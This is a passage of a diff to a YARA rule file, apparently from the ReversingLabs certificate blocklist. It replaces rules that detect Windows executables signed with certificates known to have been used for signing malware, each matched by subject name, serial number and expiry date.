"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "112e834a24c50d639f8607740faa609f1a36539058357544e5dbcddf841f3116" + logic_hash = "58a26b44e485814fa645bfa490f3442745884026bb7a70327d4f51645ad3f69c" score = 75 quality = 90 tags = "INFO, FILE" @@ -24533,21 +46927,21 @@ rule REVERSINGLABS_Cert_Blocklist_4C5020899147C850196C4Ebf : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "4c:50:20:89:91:47:c8:50:19:6c:4e:bf" and 1476693792 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Seacloud Technologies Pte. Ltd." and pe.signatures [ i ] . serial == "0a:01:a9:1c:ce:63:ed:e5:ea:a3:da:c4:88:3a:ea:05" and 1618876800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4Efcf7Adc21F070E590D49Ddb8081397 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_54Cd7Ae1C27F1421136Ed25088F4979A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "df467418-9d57-5ad0-b396-2ef519a22989" + id = "76999ae0-966e-5c52-8e00-a3af8afd8fae" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13112-L13128" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7124-L7140" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d60a5bbd50484d620ab60cfd40840abc541c2b7bc1005a9076b69ddd1b938652" + logic_hash = "c7cd84a225216ff1464a147c2572de2b0a2f69f7a315cdebef5ad2bab843b72a" score = 75 quality = 90 tags = "INFO, FILE" @@ -24557,21 +46951,21 @@ rule REVERSINGLABS_Cert_Blocklist_4Efcf7Adc21F070E590D49Ddb8081397 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ding Ruan" and pe.signatures [ i ] . serial == "4e:fc:f7:ad:c2:1f:07:0e:59:0d:49:dd:b8:08:13:97" and 1476921600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABBYMAJUTA LTD LIMITED" and pe.signatures [ i ] . serial == "54:cd:7a:e1:c2:7f:14:21:13:6e:d2:50:88:f4:97:9a" and 1616371200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Cbd37C0A651913Ee25A6860D7D5Ccdf2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_F2D693Aad63E6920782A0027Dfc97D91 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e56205d6-9f02-5a8a-8dd3-b8c323fba4bf" + id = "c4876bdd-35bc-5a3f-9f55-9a730e7ff5c8" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13130-L13148" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7142-L7160" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "77cc439aea6eaa5a835b6b1aa50904c1df0d5379228e424ab2d68a3cb654834c" + logic_hash = "8f29e65b39608518d16f708faef68db37b6e179c567819dccb6681adcec262e3" score = 75 quality = 90 tags = "INFO, FILE" @@ -24581,21 +46975,21 @@ rule REVERSINGLABS_Cert_Blocklist_Cbd37C0A651913Ee25A6860D7D5Ccdf2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Amma" and ( pe.signatures [ i ] . serial == "00:cb:d3:7c:0a:65:19:13:ee:25:a6:86:0d:7d:5c:cd:f2" or pe.signatures [ i ] . serial == "cb:d3:7c:0a:65:19:13:ee:25:a6:86:0d:7d:5c:cd:f2" ) and 1431734400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EKO-KHIM TOV" and ( pe.signatures [ i ] . serial == "00:f2:d6:93:aa:d6:3e:69:20:78:2a:00:27:df:c9:7d:91" or pe.signatures [ i ] . serial == "f2:d6:93:aa:d6:3e:69:20:78:2a:00:27:df:c9:7d:91" ) and 1598989763 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5Fe0Ad6B03C57Ab67A352159004Ca3Db : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_F8E8F6C92Ba666B0688A8Cacce9Acccf : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d1cf11fc-eb30-54fc-9e34-91ad0c67e694" + id = "909d0ce9-406c-539f-9d0e-d7ab1b277ee3" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13150-L13166" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7162-L7180" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6f2489421f2effa2089b744f7e137818935fe2339d9216a42686012c51da677b" + logic_hash = "aa419bc044be55d4c94481998be4e9c0310416740084eb8376842cf5416d78bf" score = 75 quality = 90 tags = "INFO, FILE" @@ -24605,21 +46999,21 @@ rule REVERSINGLABS_Cert_Blocklist_5Fe0Ad6B03C57Ab67A352159004Ca3Db : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SpectorSoft Corp." and pe.signatures [ i ] . serial == "5f:e0:ad:6b:03:c5:7a:b6:7a:35:21:59:00:4c:a3:db" and 1402272000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "5 th Dimension LTD Oy" and ( pe.signatures [ i ] . serial == "00:f8:e8:f6:c9:2b:a6:66:b0:68:8a:8c:ac:ce:9a:cc:cf" or pe.signatures [ i ] . serial == "f8:e8:f6:c9:2b:a6:66:b0:68:8a:8c:ac:ce:9a:cc:cf" ) and 1618531200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_642Ad8E5Ef8B3Ac767F0D5C1A999Bdaa : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E3D5089D4B8F01Aadce2731062Fb0Cce : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d29e2342-2d38-5939-aa3f-4506fb36c74a" + id = "25df791f-1128-51f9-90da-9977262d00c7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13168-L13184" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7182-L7200" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d42d40ca381b99b68a3384cecf585aab2acca66d4e13503d337b1605d587d0b5" + logic_hash = "7f10b86f156ccac695f480661dfea8bcc455477afd9575230c2f8510327d1996" score = 75 quality = 90 tags = "INFO, FILE" @@ -24629,21 +47023,21 @@ rule REVERSINGLABS_Cert_Blocklist_642Ad8E5Ef8B3Ac767F0D5C1A999Bdaa : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Itgms Ltd" and pe.signatures [ i ] . serial == "64:2a:d8:e5:ef:8b:3a:c7:67:f0:d5:c1:a9:99:bd:aa" and 1447804800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DEVELOP - Residence s. r. o." and ( pe.signatures [ i ] . serial == "00:e3:d5:08:9d:4b:8f:01:aa:dc:e2:73:10:62:fb:0c:ce" or pe.signatures [ i ] . serial == "e3:d5:08:9d:4b:8f:01:aa:dc:e2:73:10:62:fb:0c:ce" ) and 1618358400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5333D3079D8Afda715703775E1389991 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Ed801843Fa001B8Add52D3A97B25931 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4db299c6-5be9-5900-a944-07a0a41920a4" + id = "7c685bb7-3201-5ffc-856b-657d824595ab" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13186-L13202" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7202-L7218" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "98bd9d35c4e196a11943826115ab495833f7ef1d95f9736cc24255d6dd4fd21c" + logic_hash = "b7c9424520afe16bd4769e1be84163ac37b8fb37433931f2e362d90cacc01093" score = 75 quality = 90 tags = "INFO, FILE" @@ -24653,21 +47047,21 @@ rule REVERSINGLABS_Cert_Blocklist_5333D3079D8Afda715703775E1389991 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trambambon LLC" and pe.signatures [ i ] . serial == "53:33:d3:07:9d:8a:fd:a7:15:70:37:75:e1:38:99:91" and 1239148800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AM El-Teknik ApS" and pe.signatures [ i ] . serial == "7e:d8:01:84:3f:a0:01:b8:ad:d5:2d:3a:97:b2:59:31" and 1614297600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_139A7Ee1F1A7735C151089755Df5D373 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D9E834182Dec62C654E775E809Ac1D1B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "eaab67a1-ed7a-58f3-afb3-3637c3b72020" + id = "30831e91-c2aa-50bc-a0e9-ee7574fc58f4" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13204-L13220" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7220-L7238" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "86072fef7d1488dc257c3ca8fbb99620ec06f8ecb671b4e20d09d0ce6cc8601d" + logic_hash = "3d8075e34fa3dc221bc2abc2630a93f32efbdde6df270a77b1d6b64d8ce56133" score = 75 quality = 90 tags = "INFO, FILE" @@ -24677,21 +47071,21 @@ rule REVERSINGLABS_Cert_Blocklist_139A7Ee1F1A7735C151089755Df5D373 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yongli Li" and pe.signatures [ i ] . serial == "13:9a:7e:e1:f1:a7:73:5c:15:10:89:75:5d:f5:d3:73" and 1476057600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FoodLehto Oy" and ( pe.signatures [ i ] . serial == "00:d9:e8:34:18:2d:ec:62:c6:54:e7:75:e8:09:ac:1d:1b" or pe.signatures [ i ] . serial == "d9:e8:34:18:2d:ec:62:c6:54:e7:75:e8:09:ac:1d:1b" ) and 1614297600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_74Dbe83082E1B3Dfa29F9C24 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_801689896Ed339237464A41A2900A969 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "dbb75cf2-1b48-52f1-8d06-e35d48c4fea4" + id = "0ef4ce5c-b2a1-59e8-8d39-3cf7ab9fd0e1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13222-L13238" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7240-L7258" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1fdf6471d0b869df1a8630108cdaf1cc97d33e91d4726073913cdc54c7cf0042" + logic_hash = "a371092cbf5a1a0c8051ba2b4c9dd758d829a2f0c21c86d1920164a0ae7751e6" score = 75 quality = 90 tags = "INFO, FILE" @@ -24701,21 +47095,21 @@ rule REVERSINGLABS_Cert_Blocklist_74Dbe83082E1B3Dfa29F9C24 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EVANGEL TECHNOLOGY(HK) LIMITED" and pe.signatures [ i ] . serial == "74:db:e8:30:82:e1:b3:df:a2:9f:9c:24" and 1468817578 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GLG Rental ApS" and ( pe.signatures [ i ] . serial == "00:80:16:89:89:6e:d3:39:23:74:64:a4:1a:29:00:a9:69" or pe.signatures [ i ] . serial == "80:16:89:89:6e:d3:39:23:74:64:a4:1a:29:00:a9:69" ) and 1615507200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A466553A6391Aafd181B400266C7B18 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3Fd3661533Eef209153C9Afec3Ba4D8A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ef8ff250-840f-5b55-b0c7-85ca54aadc59" + id = "e45d66b0-58ae-5054-b0a7-47a001daac7a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13240-L13256" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7260-L7276" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cb21e5759887904d6a38cd1b363610ebc0bfd9a357050c602210468992815cbe" + logic_hash = "ce6c07b8ae54db03e4fa2739856a8d3dc2051c051a10c3c73501dad4296dde97" score = 75 quality = 90 tags = "INFO, FILE" @@ -24725,21 +47119,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A466553A6391Aafd181B400266C7B18 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PhaseQ Limited" and pe.signatures [ i ] . serial == "0a:46:65:53:a6:39:1a:af:d1:81:b4:00:26:6c:7b:18" and 1555545600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SFB Regnskabsservice ApS" and pe.signatures [ i ] . serial == "3f:d3:66:15:33:ee:f2:09:15:3c:9a:fe:c3:ba:4d:8a" and 1614816000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0D3Dec8794Fa7228D1Ee40Eeb8187149 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Ced87Bd70B092Cb93B182Fac32655F6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "54e9ec00-d054-521b-b60b-81efe3a8ce12" + id = "b9e6a35f-08c2-5f29-9bcf-07a3cddf0fbe" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13258-L13274" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7278-L7294" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "20084dc0b069d65755f859f5aef4be5599d1f066ba006199d3ce803b0d8f041e" + logic_hash = "4e2c967b9502d9009c61831f019ba19367b866e898ca1246a1099d75ad0eb4d5" score = 75 quality = 90 tags = "INFO, FILE" @@ -24749,21 +47143,21 @@ rule REVERSINGLABS_Cert_Blocklist_0D3Dec8794Fa7228D1Ee40Eeb8187149 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Financial Security Institute, Inc." and pe.signatures [ i ] . serial == "0d:3d:ec:87:94:fa:72:28:d1:ee:40:ee:b8:18:71:49" and 1582675200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Creator Soft Limited" and pe.signatures [ i ] . serial == "0c:ed:87:bd:70:b0:92:cb:93:b1:82:fa:c3:26:55:f6" and 1614816000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_24Af70B5D17A63Ad053E5821 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_047801D5B55C800B48411Fd8C320Ca5B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "034228b3-1864-5a76-ad9d-531778be10ec" + id = "602b8c18-3dad-55b9-bb47-3f9835a049ac" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13276-L13292" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7296-L7312" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d78f709067c83169484d9dd6e1dd8a88852362da028551d4e55e5703a22e04a7" + logic_hash = "ef26b4e3c658f53f3048d10bd1b7a2a198cd402e1b7c60e84adadb4f236ccb5d" score = 75 quality = 90 tags = "INFO, FILE" @@ -24773,21 +47167,21 @@ rule REVERSINGLABS_Cert_Blocklist_24Af70B5D17A63Ad053E5821 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "24:af:70:b5:d1:7a:63:ad:05:3e:58:21" and 1474179615 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LICHFIELD STUDIO GLASS LIMITED" and pe.signatures [ i ] . serial == "04:78:01:d5:b5:5c:80:0b:48:41:1f:d8:c3:20:ca:5b" and 1614297600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_402E9Fcba61E5Eaf9C0C7B3Bfd6259D9 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0F0Ed5318848703405D40F7C62D0F39A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a24e1201-4a90-5d0f-ac19-4d88a4e4cfe5" + id = "30e3a977-caa3-5ae0-9cd0-6b2ce62ccebd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13294-L13310" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7314-L7330" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1bfc2610745a98ebcf0f77504815d9d1c448697fbe407d6c2e075219b401de50" + logic_hash = "484932ddfe614fd5ab22361ab281cda62803c98279f938aa5237237fae6a95d6" score = 75 quality = 90 tags = "INFO, FILE" @@ -24797,21 +47191,21 @@ rule REVERSINGLABS_Cert_Blocklist_402E9Fcba61E5Eaf9C0C7B3Bfd6259D9 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yongli Li" and pe.signatures [ i ] . serial == "40:2e:9f:cb:a6:1e:5e:af:9c:0c:7b:3b:fd:62:59:d9" and 1477440000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SIES UPRAVLENIE PROTSESSAMI, OOO" and pe.signatures [ i ] . serial == "0f:0e:d5:31:88:48:70:34:05:d4:0f:7c:62:d0:f3:9a" and 1614729600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2C84F9136059E96134F8766670Eacd52 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4E7545C9Fc5938F5198Ab9F1749Ca31C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "af7eb5ff-570f-5886-b550-3d327d05fabe" + id = "d5f810ee-127a-5df0-9299-ffeaddf369ee" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13312-L13328" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7332-L7348" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d6778630dcc3e4fe2816e6dee1b823e616f53de8a924057495c7c252948a71b4" + logic_hash = "f6be57eb6744ad6d239a0a2cc1ec8c39c9dfd4e4eeb3be9e699516c259f617f0" score = 75 quality = 90 tags = "INFO, FILE" @@ -24821,21 +47215,21 @@ rule REVERSINGLABS_Cert_Blocklist_2C84F9136059E96134F8766670Eacd52 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, DIEGO MANUEL RODRIGUEZ" and pe.signatures [ i ] . serial == "2c:84:f9:13:60:59:e9:61:34:f8:76:66:70:ea:cd:52" and 1442215311 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "For M d.o.o." and pe.signatures [ i ] . serial == "4e:75:45:c9:fc:59:38:f5:19:8a:b9:f1:74:9c:a3:1c" and 1614297600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6716A9C195987D5Cfe53A094779461E7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Ddd3796A427B42F2E52D7C7Af0Ca54F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fbd05f8b-3289-565c-a5f4-a1514d06ae37" + id = "5c2e1f5b-5ff7-51d7-9642-0a527856814c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13330-L13346" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7350-L7366" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "648fd70432a791b3e589f5eda1b1510045b465623914a9762ff3dfb4a3e022f8" + logic_hash = "804ab8c44e5d97d8e14f852d61094e90d1e3ace66316781e9e79ab46fc7db8e7" score = 75 quality = 90 tags = "INFO, FILE" @@ -24845,21 +47239,21 @@ rule REVERSINGLABS_Cert_Blocklist_6716A9C195987D5Cfe53A094779461E7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Inter Technologies Ltd." and pe.signatures [ i ] . serial == "67:16:a9:c1:95:98:7d:5c:fe:53:a0:94:77:94:61:e7" and 1169424000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Fobos" and pe.signatures [ i ] . serial == "7d:dd:37:96:a4:27:b4:2f:2e:52:d7:c7:af:0c:a5:4f" and 1612915200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_876C00Bd665Df98B35554F67A5C1C32A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_03B27D7F4Ee21A462A064A17Eef70D6C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "830af0ac-fb01-5c6a-a7a3-2cf5c9d016fc" + id = "9d32947c-778f-5e2d-b0b1-4a17a108035e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13348-L13366" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7368-L7384" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "90bde1313db78d4166e8c87e7e4111c576880922b1c983f3a842ea030d38a0da" + logic_hash = "b303751e354c346f73368de94b66a960dd12efa0730d2ab14af743810669ac81" score = 75 quality = 90 tags = "INFO, FILE" @@ -24869,21 +47263,21 @@ rule REVERSINGLABS_Cert_Blocklist_876C00Bd665Df98B35554F67A5C1C32A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lossera-M, OOO" and ( pe.signatures [ i ] . serial == "00:87:6c:00:bd:66:5d:f9:8b:35:55:4f:67:a5:c1:c3:2a" or pe.signatures [ i ] . serial == "87:6c:00:bd:66:5d:f9:8b:35:55:4f:67:a5:c1:c3:2a" ) and 1493078400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CCL TRADING LIMITED" and pe.signatures [ i ] . serial 